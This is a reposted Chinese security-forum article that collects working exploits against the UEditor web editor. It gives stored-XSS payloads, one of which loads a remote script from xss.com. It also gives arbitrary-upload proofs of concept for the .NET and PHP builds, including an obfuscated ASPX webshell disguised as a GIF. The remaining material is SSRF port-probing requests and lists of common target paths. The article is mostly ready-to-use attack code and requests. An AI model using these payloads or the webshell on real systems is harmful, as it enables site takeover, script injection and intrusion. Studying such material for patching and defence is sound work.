大神論壇 UEditor 富文本web編輯器最新漏洞版XML文件上傳導致存儲型XSS


一、Ueditor最新版XML文件上傳導致存儲型XSS

測試版本:php版 v1.4.3.3

下載地址:https://github.com/fex-team/ueditor 復現步驟:

1. 上傳一個圖片文件

2. 然后buprsuit抓包攔截

3.將uploadimage類型改為uploadfile,並修改文件后綴名為xml,最后復制上xml代碼即可

4. 即可彈出xss

請注意http://controller.xxx的訪問路徑

http://192.168.10.1/ueditor1433/php/controller.php?action=listfile

常見的xml彈窗POC:

彈窗xss:

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>

URL跳轉:

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> window.location.href="https://www.t00ls.net/";
</something:script>
</body>
</html>

遠程加載Js:

<html>
<head></head>
<body>
<something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.org/1999/xhtml">
</something:script>
</body>
</html>

常用的上傳路徑:

/ueditor/index.html
/ueditor/asp/controller.asp?action=uploadimage
/ueditor/asp/controller.asp?action=uploadfile
/ueditor/net/controller.ashx?action=uploadimage
/ueditor/net/controller.ashx?action=uploadfile
/ueditor/php/controller.php?action=uploadfile
/ueditor/php/controller.php?action=uploadimage
/ueditor/jsp/controller.jsp?action=uploadfile
/ueditor/jsp/controller.jsp?action=uploadimage

常用列出獲取路徑:

/ueditor/net/controller.ashx?action=listfile
/ueditor/net/controller.ashx?action=listimage

二、文件上傳漏洞

1. NET版本文件上傳

該任意文件上傳漏洞存在於1.4.3.3、1.5.0和1.3.6版本中,並且只有.NET版本受該漏洞影響。黑客可以利用該漏洞上傳木馬文件,執行命令控制服務器。

ueditor中已經下架.net版本,但歷史版本中可以下載1.4.3版本,但是否是1.4.3.3目前還沒驗證。

該漏洞是由於上傳文件時,使用的CrawlerHandler類未對文件類型進行檢驗,導致了任意文件上傳。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一個能正確解析的域名。而1.5.0用IP和普通域名都可以。相對來說1.5.0版本更加容易觸發此漏洞;而在1.4.3.3版本中攻擊者需要提供一個正常的域名地址就可以繞過判斷;

(1)ueditor . http://1.5.0.net 版本

首先1.5.0版本進行測試,需要先在外網服務器上傳一個圖片木馬,比如:1.jpg/1.gif/1.png 都可以,下面x.x.x.x是外網服務器地址,source[]參數值改為圖片木馬地址,並在結尾加上“?.aspx”即可getshell,利用POC:

POST /ueditor/net/controller.ashx?action=catchimage
source%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx

(2) ueditor.1.4.3.3 .net版

1. 本地構造一個html,因為不是上傳漏洞所以enctype 不需要指定為multipart/form-data, 之前見到有poc指定了這個值。完整的poc如下”

<form action="http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

2. 需准備一個圖片馬兒,遠程shell地址需要指定擴展名為 1.gif?.aspx 1.gif圖片木馬(一句話木馬:密碼:hello)如下:

GIF89a

<script runat="server" language="JScript"> function popup(str) {
  var q = "u"; var w = "afe";
  var a = q + "ns" + w; var b= eval(str,a); return(b);
}
</script>
<%popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

其中 UmVxdWVzdC5JdGVtWyJoZWxsbyJd的base64值為:Request.Item["hello"]

成功后,會返回馬兒地址。

(3) ueditor.1.3.6 .net1版本

使用%00截斷的方式上傳繞過

三、PHP版本的文件上傳

利用poc:

POST http://localhost/ueditor/php/action_upload.php? action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[i mageMaxSize]=9999999&CONFIG[imageAllowFiles] []=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost Connection: keep-alive Content-Length: 222 Cache-Control: max-age=0 Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type:	multipart/form-data;	boundary=—— WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php" Content-Type: application/octet-stream
<?php phpinfo();?>

———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

shell路徑由CONFIG[imagePathFormat]=ueditor/php/upload/fuck決定[http://localhost/ueditor/php/upload/fuck.php

四、SSRF漏洞

該漏洞存在於1.4.3的jsp版本中。但1.4.3.1版本已經修復了該漏洞。

SSRF

已知該版本ueditor的ssrf觸發點:

/jsp/controller.jsp?action=catchimage&source[]=
/jsp/getRemoteImage.jsp?upfile=
/php/controller.php?action=catchimage&source[]=

使 用 百 度 logo 構 造 poc:

這里可以根據頁面返回的結果不同,來判斷該地址對應的主機端口是否開放。可以總結為以下幾點:
如 果 抓 取 不 存 在 的 圖 片 地 址 時 , 頁 面 返 回 {“state”: “SUCCESS”, list: [{“state”:"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state為“遠程連接出錯”。
如 果 成 功 抓 取 到 圖 片 , 頁 面 返 回 {“state”: “SUCCESS”, list: [{“state”: “SUCCESS”,“size”:“5103”,“source”:“http://192.168.135.133:8080/tomcat.png”,“title”: “1527173588127099881.png”,
“url”:"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"}
]},即state為“SUCCESS”。
如 果 主 機 無 法 訪 問 , 頁 面 返 回 {“state”:“SUCCESS”, list: [{“state”: “\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25”}]}, 即state為“ 抓取遠程圖片失敗”。

還有一個版本的ssrf漏洞 ,存在於onethink 1.0中的ueditor,測試版本為1.2直接貼Poc
POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 37
Connection: keep-alive
upfile=https://www.google.com/?%23.jpg

五、另一處XSS漏洞

首先安裝部署環境:https://github.com/fex-team/ueditor/releases/tag/v1.4.3.3

存儲型XSS需要寫入后端數據庫,這里要把編輯器部署到一個可與數據庫交互的環境中。

首先我們打開編輯器輸入正常的文本:

抓包並將

標簽以及原本的文本刪除:

插入payload:

%3Cp%3E1111111"><ImG	sRc=1 OnErRoR=prompt(1)>%3Cbr%2F%3E%3C%2Fp%3E

成功觸發存儲型XSS漏洞

更多逆向漏洞學習交流文章,請訪問 大神論壇www.dslt.tech


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM